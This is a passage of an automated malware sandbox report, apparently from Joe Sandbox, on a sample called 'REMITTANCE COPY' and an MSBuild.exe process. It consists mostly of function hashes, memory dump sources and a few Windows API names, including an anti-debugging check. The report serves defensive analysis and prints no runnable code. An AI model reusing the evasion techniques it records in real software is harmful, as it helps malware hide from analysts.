Instruction ID: 0a526bac9655b56e084d4bd67079a0c5a6b88f0a6c3ca83c05ed1b4bcd2a4ec9
Opcode Fuzzy Hash: f2cbe1cc3935fdc8575d66fff92bbb237e88762162422ccd4e37ca084c2cecf8
Instruction Fuzzy Hash: CB11DFB6C00349CFCB24CF9AC844A9EFBF4EB89324F14841AD529A7211C375A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0804AD04 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0804DEC5

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e082b038b7478b91ffa1b994a3648f75cfad754a2a8dea7d4995495c9727bf65
Instruction ID: 6957db79873c158a265f7de07ac088b3dec46d1daddaedbfda2e8e253e02c695
Opcode Fuzzy Hash: e082b038b7478b91ffa1b994a3648f75cfad754a2a8dea7d4995495c9727bf65
Instruction Fuzzy Hash: A61103B5800349DFDB20DF9AC885BDEFBF8EB59324F108419E918A7211D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0804DE61 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0804DEC5

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 67a15f809dd7bf5a02aab145b3bdeea3559816bbf6a31fe03702b67175149b86
Instruction ID: 17d41ad21d599377f0d9cb914bcf0fb2a95a2b54103b0ff0389954f83303c404
Opcode Fuzzy Hash: 67a15f809dd7bf5a02aab145b3bdeea3559816bbf6a31fe03702b67175149b86
Instruction Fuzzy Hash: D31122B58002498FDB20CF9AC884BDEFFF4EB59320F208419D818A7601C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B019 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00F3B086

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ce68b2d94becae7b4f271827049edb1116d07f5aee91eaf0492e8248e9e52d70
Instruction ID: d2203ef5e95ee1c4e09ef372594a560ced0de491885ab507096e1f9527e84e07
Opcode Fuzzy Hash: ce68b2d94becae7b4f271827049edb1116d07f5aee91eaf0492e8248e9e52d70
Instruction Fuzzy Hash: 93018FB6804309CFCB20DF99D4443DEFBF0AF59324F24865AC169A7292C379654ACF61

Uniqueness

Uniqueness Score: -1.00%

Function 00D4D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051008539.0000000000D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d4d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49c7d19a4261ae00bf01baa168de69fa779a57432c27be6ce2fd0c2c04d8d4f3
Instruction ID: 21d6164dabdb9fdedd70566b6b0c623ac48e63b9ce6e460df31e3d21df4176f7
Opcode Fuzzy Hash: 49c7d19a4261ae00bf01baa168de69fa779a57432c27be6ce2fd0c2c04d8d4f3
Instruction Fuzzy Hash: 052125B5504204DFDB05DF14D9C0B26BF66FB98324F28C56DE90D0B25AC33AE856CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051085701.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d5d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e83b12693190d03279f5472766b78828ca76a75c409d9bfa3e662ce3aaed2ce
Instruction ID: 71a799a63b79d522c201bf389f133f4a531e416517f702f0f6a7ec0572355dbd
Opcode Fuzzy Hash: 9e83b12693190d03279f5472766b78828ca76a75c409d9bfa3e662ce3aaed2ce
Instruction Fuzzy Hash: 1421F271504200EFDF25DF14D9C0B26BBA6FB88315F24C96DEC494B296C33AD84ACA75

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051085701.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d5d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 198e0df018990e5128f2d28c0d34c8b511d421a746e97515594f7a9625185cc7
Instruction ID: 42e9788951b4221f138772486d6fedd7b3d2b42a67fdb1c93c2db9c726462bb3
Opcode Fuzzy Hash: 198e0df018990e5128f2d28c0d34c8b511d421a746e97515594f7a9625185cc7
Instruction Fuzzy Hash: 4521F575504200DFDF25DF18D9C4B16BB66EB84325F24C56DDC494B296C33AD80BCA71

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051085701.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d5d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9c0e1416134a6d14b8946c043be42f09a80d10d2bf13c6372daf966b472a07
Instruction ID: f33d887f2bcb032fb80e1cf7f8bb91a59ffaffe018534532bfd0a8614f37091c
Opcode Fuzzy Hash: 7e9c0e1416134a6d14b8946c043be42f09a80d10d2bf13c6372daf966b472a07
Instruction Fuzzy Hash: 44215E755093808FDB12CF24D994715BF72EB46314F28C5EADC498B6A7C33A980ACB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D4D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051008539.0000000000D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d4d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a42a10f79047cfc5a8dfbea04f5877e4b045e58f4eb555799dbe40d0299e0d1
Instruction ID: 05125e9e9d90930b87e207d51e18d0b55f1e57d5bb41f274f053eddde249f93a
Opcode Fuzzy Hash: 2a42a10f79047cfc5a8dfbea04f5877e4b045e58f4eb555799dbe40d0299e0d1
Instruction Fuzzy Hash: 07112676404240CFCF02CF10D5C4B16BF72FB94324F28C2A9D8090B256C33AE85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051085701.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d5d000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c74efafe6a787794d2e52374dfad20fc7a218ab120a23d42f416259975cce95d
Instruction ID: 7fa567c7e9780cd6450dca1f057851f13ed599f53925f07808ed19b9c81d79a1
Opcode Fuzzy Hash: c74efafe6a787794d2e52374dfad20fc7a218ab120a23d42f416259975cce95d
Instruction Fuzzy Hash: 94118B75504280DFDB16CF14D5C4B15BBA2FB84314F28C6ADDC494B696C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0804F840 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf78f07113f21f70abe83853d2e92e0e31b971d6b908703f2c07e8f90abc2de0
Instruction ID: f795980522177431586be2435884bec0035b92dc90d53e0c240c6b01d2b13626
Opcode Fuzzy Hash: cf78f07113f21f70abe83853d2e92e0e31b971d6b908703f2c07e8f90abc2de0
Instruction Fuzzy Hash: 9AD19AB0A412058FDB19DB76C910BAEB7F7AF89302F14846DD145DB291CF38E906CB51

Uniqueness

Uniqueness Score: -1.00%

Function 08048DD0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d1b73dea91987d954d2435cbe9632c3e5cd2880accd7e34af0ca711dd00cfd
Instruction ID: 6ee4d4edf6108c2b050df3aafcf84d97a8d684292de3514d0af3ec684e109460
Opcode Fuzzy Hash: 21d1b73dea91987d954d2435cbe9632c3e5cd2880accd7e34af0ca711dd00cfd
Instruction Fuzzy Hash: D4E128B4E051198FCB14DFA9C5809AEBBF2FF89301F64C169E415AB356D730A982CF61

Uniqueness

Uniqueness Score: -1.00%

Function 08047FE8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59d94cc1e1dab8f16484b5c8cf73375c8c7afed91a1207f56b6cfd6f14160d2
Instruction ID: 68409c6649b987290336edc9c6d8cee7f2f11fe92def5ac71357a574f33f3ac8
Opcode Fuzzy Hash: a59d94cc1e1dab8f16484b5c8cf73375c8c7afed91a1207f56b6cfd6f14160d2
Instruction Fuzzy Hash: F0E117B4E051198FCB14DFA8C5809AEFBB2BF89305F64C569E405AB356D730A982CF61

Uniqueness

Uniqueness Score: -1.00%

Function 080463A8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15674d98de458bcfea83597106eb4b67ca78031d15d379ffaa62b26afb298d90
Instruction ID: e4d7713fc38cbaebed5065f229750339b234bc3225ce77675fce6eaa1838e8dc
Opcode Fuzzy Hash: 15674d98de458bcfea83597106eb4b67ca78031d15d379ffaa62b26afb298d90
Instruction Fuzzy Hash: BEE16BB4E051198FDB14DFA8C5809AEFBF2FF89301F648169D414AB359E731A982CF60

Uniqueness

Uniqueness Score: -1.00%

Function 08048420 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a51de6974916072e6808dc2d68b90b54c01b944af41a5fa8de460eb6fe9384e
Instruction ID: 97b8a3bc76510e95b0fd885058f4e7081fa554366f755be57736e484715aa674
Opcode Fuzzy Hash: 2a51de6974916072e6808dc2d68b90b54c01b944af41a5fa8de460eb6fe9384e
Instruction Fuzzy Hash: 04E118B4E051198FCB14DFA8C5809AEBBF2FF88305F64C569D815AB355D730A982CF61

Uniqueness

Uniqueness Score: -1.00%

Function 080467E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75ab6041ff25b7891265181bac96242dd227158ddc657f3d8436d1ee7742cd6e
Instruction ID: 7eca7b4002ab310b3901b437562e0ef14e7133aac31c9a255a206ccf1dae6458
Opcode Fuzzy Hash: 75ab6041ff25b7891265181bac96242dd227158ddc657f3d8436d1ee7742cd6e
Instruction Fuzzy Hash: 5EE137B4E051198FDB14DFA8C5809AEFBF2FF89301F648169D414AB355E731A982CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3DC74 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19a55b5ef118e6c6208cb3718180cb4c9844d806d621f23a3291b33da8cc73f
Instruction ID: e2c63882ddc884f7a6fb07c1a362dd7c98848cf6a3a6ced97a755ac971b6d818
Opcode Fuzzy Hash: e19a55b5ef118e6c6208cb3718180cb4c9844d806d621f23a3291b33da8cc73f
Instruction Fuzzy Hash: 03A17A32E002158FCF09DFB5D9805AEB7B2FF84320B15857AE805AB265DB75E915DB80

Uniqueness

Uniqueness Score: -1.00%

Function 08047FD8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ce18de9ea85bf41d7bc9f0a09ae9cde5ecaf0b74178bf2a9cbd7d0a1098281
Instruction ID: e609ad8cdf7e0e6fbab418e37c10b091ce405fe3fb6151e38583e76f958981d6
Opcode Fuzzy Hash: d8ce18de9ea85bf41d7bc9f0a09ae9cde5ecaf0b74178bf2a9cbd7d0a1098281
Instruction Fuzzy Hash: 5C512AB4E052198FCB14DFA9C5809AEFBF2BF89305F24C569D419AB316D7309942CFA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exePID: 3040, Parent PID: 5676COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 069C66A8 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069C6DF4
$eq, xrefs: 069C6DDC
$eq, xrefs: 069C6DD0
$eq, xrefs: 069C6DB3
$eq, xrefs: 069C6DA7
$eq, xrefs: 069C6E00

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-220072568
Opcode ID: 928fa14a564b6e36b8a99b52197e71d106e313e1adc7c102f6bdc7044926fcde
Instruction ID: e9209e15940db727fedb07e458eef7e6d077b7b8b98c6d717b87dcef82be610d
Opcode Fuzzy Hash: 928fa14a564b6e36b8a99b52197e71d106e313e1adc7c102f6bdc7044926fcde
Instruction Fuzzy Hash: 7F324F30E1061A8BCB15EF74C99459DF7B6FFC9300F60C66AD409AB264EF30A985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069CEC58 Relevance: 8.0, Strings: 6, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069CF1F3
$eq, xrefs: 069CF18B
$eq, xrefs: 069CF1CB
$eq, xrefs: 069CF197
$eq, xrefs: 069CF1FF
$eq, xrefs: 069CF1BF

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-220072568
Opcode ID: 6f700d8751fcfc0af9032e4caa88b802e511f095c0806a7eee21a6524330a719
Instruction ID: 6a387640d3d3ea326e625b8a8635474df4d973575d73a6cd09c527bb7f9c3395
Opcode Fuzzy Hash: 6f700d8751fcfc0af9032e4caa88b802e511f095c0806a7eee21a6524330a719
Instruction Fuzzy Hash: 84028070E102198FDBA4CF68D5906ADB7B6FF85320F24892EE416DB655DB30DC85CB82

Uniqueness

Uniqueness Score: -1.00%

Function 069CB398 Relevance: 3.0, Strings: 2, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069CB93F
$eq, xrefs: 069CB933

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: 5f0cdbb09a5208c8679eb9a8408ab85b29b6a0dbf650d0bafdc2e5060b822752
Instruction ID: b8588dbbe68e11aa9c2410e63246d97c92f7bc4ba4aa8477999acd8000b88847
Opcode Fuzzy Hash: 5f0cdbb09a5208c8679eb9a8408ab85b29b6a0dbf650d0bafdc2e5060b822752
Instruction Fuzzy Hash: 8D02C230B006098FDB54DF64D591AAEB7B6FF84320F248829D405DB799DB35EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 069C0040 Relevance: 2.8, Instructions: 2759COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf62dabab50dd760a8718e0d220c02392598a7d0f51d613ad09415618989fb4
Instruction ID: 60c8974b8665780d1b93f14983747127db9e98452dbfc40b48bd13261d33aa0d
Opcode Fuzzy Hash: ccf62dabab50dd760a8718e0d220c02392598a7d0f51d613ad09415618989fb4
Instruction Fuzzy Hash: E053E631D10B1A8EDB51EB68C8809A9F7B1FF99310F11D79AE45977121EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 069C33C0 Relevance: 2.2, Instructions: 2239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039445ec613a597cc36e7d82c75b203f14fb5ac60d3fd2712d2fb4184513ee05
Instruction ID: 92ddc90fc41869cf0737290c7df4a2517c84ea76807a05d1114a5ce75e2b76fe
Opcode Fuzzy Hash: 039445ec613a597cc36e7d82c75b203f14fb5ac60d3fd2712d2fb4184513ee05
Instruction Fuzzy Hash: 18331E31D10B198ECB11EF68C8905ADF7B1FF99310F15C79AE459A7221EB70AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069C0006 Relevance: 2.2, Instructions: 2162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4d2d0548dfb684319963542d5568a30fbbc23fb8cb14cca78e46dd2cbe437d1
Instruction ID: 2fb374cb0e21ba4947f3c718eafa49c468dd8d7c348aecb899a77df6bad483d7
Opcode Fuzzy Hash: a4d2d0548dfb684319963542d5568a30fbbc23fb8cb14cca78e46dd2cbe437d1
Instruction Fuzzy Hash: 6233E331D10B1A8ECB51EB68C8849A9F7B1FF99310F11D79AE45977121FB70AAC4CB81

Uniqueness

Uniqueness Score: -1.00%

Function 015170A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0151711F

Memory Dump Source

Source File: 00000008.00000002.2075920176.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1510000_MSBuild.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 5207011d09eb5c5a5ae650e183bfd8a188614228071004a3c3c38d10f74c5ffd
Instruction ID: 76c27f83321bdfcf13ac2d305963b852df98452018c419f810c8a54e6cecd300
Opcode Fuzzy Hash: 5207011d09eb5c5a5ae650e183bfd8a188614228071004a3c3c38d10f74c5ffd
Instruction Fuzzy Hash: 632128B18002598FDB10CF9AD884BEEFBF4EF59320F14845AE455A7251D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 069C59B8 Relevance: 1.0, Instructions: 1016COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d1572fc36c849bf1ec093d991dc732030a0ec9b28b7b4a9695523083a6fb09
Instruction ID: d6f8bdc579978bfb53aa479b55e03a5a61158c588705691142f6edea6053f610
Opcode Fuzzy Hash: e1d1572fc36c849bf1ec093d991dc732030a0ec9b28b7b4a9695523083a6fb09
Instruction Fuzzy Hash: CF926834A002048FDB64DB68C684A6DB7F6FF45320F6588AED409EB765DB35EC85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069C9C10 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7921b461747f6e3ac8c659f328903d0328063a6c191571f8f8ac49fe52bac164
Instruction ID: f53794c2cab6713832268b40b70c2be64dc27771994ad2e7c1cfbcff0f0fcafa
Opcode Fuzzy Hash: 7921b461747f6e3ac8c659f328903d0328063a6c191571f8f8ac49fe52bac164
Instruction Fuzzy Hash: 5062AF30B002098FDB54DB68D594AADB7F6FF88320F248469E806EB795DB35ED45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 069C87E0 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f422d693bb6e5b29763ece07bb3a1ba587ee15d0cf65c1d2ce382f64f3812d5
Instruction ID: 010edf63ae75501ec79b2f2cfd1575fcc920752846dc9a8ec789788ae83f30f8
Opcode Fuzzy Hash: 4f422d693bb6e5b29763ece07bb3a1ba587ee15d0cf65c1d2ce382f64f3812d5
Instruction Fuzzy Hash: AE12B431F002159BDB60DB64CA806AEBBB6FF85320F24842ED955DB794DB34EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 069CE837 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdec6e9f335b311a1718c449bbfe5a1d3829b532b02a208bf4b0f9f3d859714d
Instruction ID: b22319e8a76f1993e02c0996cdaf0f2564a4bd69bf700ce9c940d4e24dcdf793
Opcode Fuzzy Hash: cdec6e9f335b311a1718c449bbfe5a1d3829b532b02a208bf4b0f9f3d859714d
Instruction Fuzzy Hash: F4227F74E102098FDF60DB58D590BAEB7BAEB85320F74842AE406DB795DB34DC81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 069CE2E0 Relevance: 11.6, Strings: 9, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069CE48F
W, xrefs: 069CE52D
$eq, xrefs: 069CE454
$eq, xrefs: 069CE4AC
$eq, xrefs: 069CE460
$eq, xrefs: 069CE40D
$eq, xrefs: 069CE4B8
$eq, xrefs: 069CE483
$eq, xrefs: 069CE401

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: W$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-2051485347
Opcode ID: 7fcba54cbeb6d8ac921020dbc644d3946014f1199af060005d9a82cefff9a7fc
Instruction ID: 29e94240dbfddc43ffb71bd666d0e2707a57641e09f56f9b4cf9ff67c4c6cb4e
Opcode Fuzzy Hash: 7fcba54cbeb6d8ac921020dbc644d3946014f1199af060005d9a82cefff9a7fc
Instruction Fuzzy Hash: 71E18D30E1020A8FDF65DF68D5906AEB7B6FF85310F20892DD406DB755DB74A846CB82

Uniqueness

Uniqueness Score: -1.00%

Function 069CC768 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069CC7E4
$eq, xrefs: 069CC813
$eq, xrefs: 069CC7D8
$eq, xrefs: 069CC81F

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: c612f04d0f25a065ba400588f6cf0ebb8aa33de312d107e00e516a885993b91a
Instruction ID: 87cf6971ab6654f51a66a7ff67d380ddf7a291174133813e19ed87f249ad1bc1
Opcode Fuzzy Hash: c612f04d0f25a065ba400588f6cf0ebb8aa33de312d107e00e516a885993b91a
Instruction Fuzzy Hash: 4D916230F1061A8FDB54EF65D9607AEB7B6EFC5210F108569D409EB398EB30DC868B91

Uniqueness

Uniqueness Score: -1.00%

Function 069C7DB0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPjq, xrefs: 069C7EDD
fjq, xrefs: 069C84BD
\Ojq, xrefs: 069C7F67

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: fjq$XPjq$\Ojq
API String ID: 0-216941231
Opcode ID: b79936faa8c5097f4417a460d7b9ff2f3f6131353ca9b7eaa7d17e0c4521494f
Instruction ID: a0f59e002e0728cc46acf95a3e9f6a50704f9430077defd3d9d4bf2b688113de
Opcode Fuzzy Hash: b79936faa8c5097f4417a460d7b9ff2f3f6131353ca9b7eaa7d17e0c4521494f
Instruction Fuzzy Hash: B0616F70F002199FEB549FA5C9547AEBAB6FF88310F20842EE505EB395DE758C058F91

Uniqueness

Uniqueness Score: -1.00%

Function 069CC758 Relevance: 2.7, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 069CC813
$eq, xrefs: 069CC7D8

Memory Dump Source

Source File: 00000008.00000002.2085648397.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: 66da9e1ccd523e6e3ff0c6f41da1a23c45d7945d5c8ef4ee52b42c8ab4611b87
